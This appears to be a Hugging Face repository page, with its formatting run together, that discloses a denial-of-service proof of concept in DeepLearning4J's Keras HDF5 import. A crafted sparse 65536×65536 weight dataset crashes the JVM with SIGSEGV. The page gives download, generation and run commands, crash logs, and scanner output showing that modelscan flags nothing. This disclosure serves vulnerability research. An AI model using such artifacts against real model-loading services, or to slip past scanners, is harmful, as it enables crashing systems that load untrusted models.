Views
No views yet
keras-seq-dense-huge-kernel-v2dict.h5: 5.3 KiB Keras HDF5 artifact.make_poc.py: generator for an equivalent sparse HDF5 artifact.verify_poc.sh: builds the Java verifier and runs the vulnerable import path.src/main/java/dl4jpoc/LoadKerasSequential.java: minimal harness that calls KerasModelImport.importKerasSequentialModelAndWeights(...).results/runtime_sigsegv_output.txt: captured JVM crash output.results/hs_err_sigsegv.log: captured JVM fatal error report.results/modelscan_0.8.8_output.json: scanner output captured locally..h5org.deeplearning4j:deeplearning4j-core1.0.0-M2.11.0.0-M2.1 as latest/release.KerasModelImport.importKerasSequentialModelAndWeights(path, false)Hdf5Archive.readDataSet(...) during KerasModelUtils.importWeights(...)17.0.19+101.5.7, Bytedeco HDF5 1.12.1-1.5.7(65536, 65536) and dtype float32. The dataset is chunked with a fill value, so HDF5 stores it sparsely. DL4J's Keras importer trusts the artifact-controlled HDF5 shape while reading weights, allocates Java-side buffers, passes them through JavaCPP/HDF5 native code, and the process terminates with SIGSEGV.1hf download pragnyanramtha/dl4j-keras-hdf5-native-crash-poc \
2 --repo-type model \
3 --local-dir dl4j-keras-hdf5-native-crash-poc
4cd dl4j-keras-hdf5-native-crash-poc
5./verify_poc.sh1importing=keras-seq-dense-huge-kernel-v2dict.h5
2A fatal error has been detected by the Java Runtime Environment:
3SIGSEGV
4The crash happened outside the Java Virtual Machine in native code.1mvn -q -DskipTests compile dependency:build-classpath -Dmdep.outputFile=target/classpath.txt
2java -Xmx128m \
3 -XX:ErrorFile=results/hs_err_pid%p.log \
4 -cp "target/classes:$(cat target/classpath.txt)" \
5 dl4jpoc.LoadKerasSequential keras-seq-dense-huge-kernel-v2dict.h51org.deeplearning4j.nn.modelimport.keras.Hdf5Archive.readDataSet(...)
2org.deeplearning4j.nn.modelimport.keras.utils.KerasModelUtils.importWeights(...)
3org.deeplearning4j.nn.modelimport.keras.KerasModelImport.importKerasSequentialModelAndWeights(...)model_config describes a Sequential model with one Dense layer.batch_input_shape is [null, 65536].units is 65536.model_weights/dense/dense/kernel:0 is an HDF5 dataset with shape (65536, 65536), dtype float32, chunks (1, 1), and fill value 0.0.1python3 -m pip install h5py
2python3 make_poc.py --out generated.h5H5LambdaDetectScan, reports one scanned file, and reports zero issues/errors:1modelscan_version: 0.8.8
2total_issues: 0
3scanned_files: ["keras-seq-dense-huge-kernel-v2dict.h5"]modelscan -p keras-seq-dense-huge-kernel-v2dict.h5 -r json -o results/modelscan_0.8.8_output.json1SHA256(keras-seq-dense-huge-kernel-v2dict.h5)=a2b271c4a5a7193ebbdefd3be0c3b018dd5f69bb5a98929fd976201f21dd7941
2Size=5360 bytesModelSerializer ZIP artifact.